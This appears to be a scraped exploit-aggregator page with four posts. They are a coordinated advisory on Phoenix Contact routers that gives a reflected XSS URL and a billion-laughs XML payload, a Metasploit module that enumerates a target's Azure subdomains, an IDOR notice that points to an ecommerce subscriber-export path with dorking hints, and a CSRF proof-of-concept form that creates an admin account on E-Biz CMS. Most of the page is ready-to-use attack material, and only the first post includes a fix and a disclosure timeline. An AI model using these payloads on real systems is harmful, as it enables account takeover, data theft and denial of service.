Latest exploits :: CodePwn

<pre><code>St. Pölten UAS ------------------------------------------------------------------------------- title| Multiple Vulnerabilities product| Phoenix Contact TC Cloud Client 1002-4G*, | TC Router 3002T-4G, Cloud Client 1101T-TX/TX vulnerable version| <2.07.2, <2.07.2, <2.06.10 fixed version| 2.07.2, 2.07.2, 2.06.10 CVE number| CVE-2023-3526, CVE-2023-3569 impact| Medium homepage| https://www.phoenixcontact.com/ found| 2023-05-04 by| A. Resanovic, S. Stockinger, T. Etzenberger | This vulnerability was discovery during research at | St. Pölten UAS, supported and coordinated by CyberDanube. | | https://fhstp.ac.at | https://cyberdanube.com ------------------------------------------------------------------------------- Vendor description ------------------------------------------------------------------------------- "At Phoenix Contact, our approach is innovative, sustainable, and based on partnership. This applies to how we deal with employees as well as with our customers. We are also conscious of our social and environmental responsibility and we act accordingly. With the vision of the All Electric Society, we also want to empower our customers to act more sustainably by enabling the comprehensive electrification, networking, and automation of all sectors of the economy and infrastructure with our products and solutions." Source: https://www.phoenixcontact.com/en-us/ueber-uns Vulnerable versions ------------------------------------------------------------------------------- TC Router 3002T-4G* / <2.0.2 TC Cloud Client 1002-4G* / <2.07.2 Cloud Client 1101T-TX/TX / <2.06.10 Vulnerability overview ------------------------------------------------------------------------------- 1) Reflected Cross-Site Scripting (XSS) CVE-2023-3526 A reflected cross-site scripting vulnerability can be triggerd in the license viewer of the device. This can be used to execute malicious code in the context of a user's browser. Cookies may be also stoled via this way. 2) Excessive Memory Consumption (Billion Laughts Attack) CVE-2023-3569 By abusing the configuration file upload functionality of the device, it is possible to slow down all other processes. Proof of Concept ------------------------------------------------------------------------------- 1) Reflected Cross-Site Scripting (XSS) CVE-2023-3526 The reflected cross-site scripting vulnerability can be triggered by using the following GET request: https://$IP/cgi-bin/p/license?pkg=netsnmp&txt=15"><script>alert("document.cookie")</script> 2) Excessive Memory Consumption (Billion Laughts Attack) CVE-2023-3569 The following configuration file can be used to exploit the binary "/usr/bin/xmlconfig", which supportes entity reference nodes: =============================================================================== <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> =============================================================================== The vulnerability was manually verified on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com). Solution ------------------------------------------------------------------------------- Update to the latest available firmware version. Workaround ------------------------------------------------------------------------------- None. Recommendation ------------------------------------------------------------------------------- Phoenix Contact customers are advised to upgrade the firware to the latest available version. Contact Timeline ------------------------------------------------------------------------------- 2023-05-16: Contacting vendor via psirt@phoenixcontact.com 2023-05-17: Vendor informed internal product team. 2023-05-18: Added responsible disclosure policy from St. Poelten UAS. 2023-05-19: Vendor needs more time to fix the issues. 2023-06-15: Vendor asked for an explaination of the issues as he cannot reproduce them; Sent screenshots and more PoCs to the vendor. Offered an MS Teams call to clarify the issues. 2023-06-16: Scheduled a call for 2023-06-19. 2023-06-19: Clarified issues and further timeline for the coordination. Vendor proposed to release the firmware on 2023-07-13. 2023-07-04: Contact stated that he has to shift the release after July. It will be released on 08.08.2023; Confirmed the date. 2023-07-13: Received CVE numbers from vendor. 2023-07-18: Received firmware versions from vendor. 2023-07-23:_Vendor released firmwares. 2023-08-08: Coordinated release of security advisory. Web: https://www.fhstp.ac.at/ Twitter: https://twitter.com/fh_stpoelten Mail: mis at fhstp dot ac dot at EOF T. Weber / @2023 </code></pre>

<pre><code>*Background:* Microsoft makes use of a number of different domains and subdomains for each of their Azure services. From SQL databases to SharePoint drives, each service maps to its respective domain/subdomain, and with the proper toolset, these can be identified through DNS enumeration to yield information about the target domain's infrastructure. enum_azuresubdomains.rb is a Metasploit module for enumerating public Azure services by validating legitimate subdomains through various DNS record queries. This cloud reconnaissance module rapidly identifies API services, storage accounts, key vaults, databases, and more! Expedite your cloud reconnaissance phases with enum_azuresubdomains.rb. *Code:* ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DNS::Enumeration def initialize(info = {}) super( update_info( info, 'Name' => 'Azure Subdomain Scanner and Enumerator', 'Description' => 'This module can be used for enumerating public Azure services by locating valid subdomains through various DNS queries.', 'Author' => ['RoseSecurity <RoseSecurityConsulting[at]protonmail.me >'], 'References' => [' www.netspi.com/blog/technical/cloud-penetration-testing/enumerating-azure-services' ], 'License' => MSF_LICENSE ) ) register_options( [ OptString.new('DOMAIN', [true, 'The target domain without TLD (Ex: victim rather than victim.org)']), OptBool.new('PERMUTATIONS', [false, 'Prepend and append permutated keywords to domain', false]), OptBool.new('ENUM_A', [true, 'Enumerate DNS A record', true]), OptBool.new('ENUM_CNAME', [true, 'Enumerate DNS CNAME record', true]), OptBool.new('ENUM_MX', [true, 'Enumerate DNS MX record', true]), OptBool.new('ENUM_NS', [true, 'Enumerate DNS NS record', true]), OptBool.new('ENUM_SOA', [true, 'Enumerate DNS SOA record', true]), OptBool.new('ENUM_TXT', [true, 'Enumerate DNS TXT record', true]) ] ) end def dns_enum(target_domains) target_domains.each do |domain| next unless dns_get_a(domain) print_good("Discovered Target Domain: #{domain} \n") dns_get_a(domain) if datastore['ENUM_A'] dns_get_cname(domain) if datastore['ENUM_CNAME'] dns_get_ns(domain) if datastore['ENUM_NS'] dns_get_mx(domain) if datastore['ENUM_MX'] dns_get_soa(domain) if datastore['ENUM_SOA'] dns_get_txt(domain) if datastore['ENUM_TXT'] end end def run # Array of subdomains to enumerate domain = datastore['DOMAIN'] subdomains = [ '.onmicrosoft.com', '.scm.azurewebsites.net', '.azurewebsites.net', '.p.azurewebsites.net', '.cloudapp.net', '.file.core.windows.net', '.blob.core.windows.net', '.queue.core.windows.net', '.table.core.windows.net', '.mail.protection.outlook.com', '.sharepoint.com', '.redis.cache.windows.net', '.documents.azure.com', '.database.windows.net', '.vault.azure.net', '.azureedge.net', '.search.windows.net', '.azure-api.net', '.azurecr.io' ] # Array of keywords to prepend and append permutations = %w[ root web api azure azure-logs data database data-private data-public dev development demo files filestorage internal keys logs private prod production public service services splunk sql staging storage storageaccount test useast useast2 centralus northcentralus westcentralus westus westus2 ] # Create permutated array of keywords and target domain if datastore['PERMUTATIONS'] permutated_domains = [] permutations.each do |keywords| permutated_domains.append("#{domain}-#{keywords}") permutated_domains.append("#{keywords}-#{domain}") end # Permutated and Normal list of subdomains target_domains = [] subdomains.each do |tld| target_domains.append(domain + tld) permutated_domains.each do |_subdomain| target_domains.append(domain + tld) end end # Query DNS records of permutated and normal target subdomains else # Query DNS records of normal target subdomains target_domains = [] subdomains.each do |tld| target_domains.append(domain + tld) end end dns_enum(target_domains) end end </code></pre>

<pre><code>==================================================================================================================================== | # Title : Ecommerce Responsive v1.2 Insecure Direct Object Reference Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 62.0.3 (32-bit) | | # Vendor : https://codecanyon.net/item/ecommerce-responsive-ecommerce-business-management-script/21413994 | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine . [+] Any visitor can export and download a subscriber list . [+] use payload : /admin/subscriber-csv.php [+] https://www/demoslycom/xicia/cc/ecommerce/admin/subscriber-csv.php Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : E-Biz CMS v2.0 CSRF Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit) | | # Vendor : https://softech.pk/ | | # Dork : Copyright © 2019, Designed By SOFTECH | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] The following html code create a new admin . [+] Go to the line 17. [+] Set the target site link Save changes and apply . [+] infected file : /add_user.php. [+] http://127.0.0.1/q7.3/softpanel/add_user.php. [+] save code as poc.html . <h1>Add User</h1> </div>  <div class="site"> <div class="container"> <div class="grid-16"> <div class="widget" > <div class="widget-header"> <h3>Add User </h3> </div>  <div class="widget-content">    <form action="http://aosccom/softpanel/add_user.php" method="post" enctype="multipart/form-data" name="" class="form uniformForm validateForm"> <table width="650" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td width="527" align="left">Name : </td> </tr> <tr> <td><input name="name" value="" class="validate[required]" type="text" id="name" size="50"></td> </tr> <tr> <td>Email : </td> </tr> <tr> <td> <input name="email" type="text" id="date" class="validate[required,custom[email]" size="50" /> </td> </tr> <tr> <td>Password :</td> </tr> <tr> <td><div class="field"> <input name="password" type="text" id="date_English" class="validate[required]" size="50" /> </div> </td> </tr> <tr> <td>Access : </td> </tr> <tr> <td><select name="type" id="type" > <option value="user" selected="selected">User</option> <option value="admin">Admin</option> </select> </td> </tr> <tr id="link"> <td><table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="30">Privileges:</td> </tr> <tr> <td align="center" valign="middle"><table width="400" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td width="54%" height="25" align="left"><table width="150" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="25"><label for="label">Company News</label></td> <td width="10"><input type="checkbox" id="new" name="news" value="Y" onClick="news.value=(this.checked)?'Y':'N'"></td> </tr> <tr> <td height="25">Home Banners</td> <td><input type="checkbox" id="ban" name="banners" value="Y" onClick="banners.value=(this.checked)?'Y':'N'" ></td> </tr> <tr> <td height="25">Gallery</td> <td><input type="checkbox" id="gal" name="gallery" value="Y" onClick="gallery.value=(this.checked)?'Y':'N'"></td> </tr> <tr> <td height="25"><label for="sim">Simple Gallery</label></td> <td><input type="checkbox" id="gallery" name="simple_gallery" value="Y" onClick="simple_gallery.value=(this.checked)?'Y':'N'"></td> </tr> <tr> <td height="25">Pages</td> <td><input name="pages" type="checkbox" id="pages"onClick="pages.value=(this.checked)?'Y':'N'" value="checkbox" checked></td> </tr> <tr> <td height="25">Newsletter</td> <td><input name="newsletter" type="checkbox" id="newsletter"onClick="newsletter.value=(this.checked)?'Y':'N'" value="checkbox" checked></td> </tr> <tr> <td height="25">Categories</td> <td><input name="categories" type="checkbox" id="categories" onClick="categories.value=(this.checked)?'Y':'N'" value="checkbox" checked></td> </tr> </table> </td> </tr> </table> </td> </tr> </table></td> </tr> <tr> <td></td> </tr> <tr> <td></td> </tr> <tr> <td>&nbsp;</td> </tr> </table> </td> </tr> <tr> <td></td> </tr> <tr> <td>&nbsp;</td> </tr> <tr> <td></td> </tr> <tr> <td> </td> </tr> <tr> <td>&nbsp;</td> </tr> <tr> <td><button name="save"class="btn btn-primary">Save</button> <button type="reset" class="btn btn-primary">Cancel</button></td> </tr> </table> </form> </div> Greetings to :================================================================= jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R | =============================================================================== </code></pre>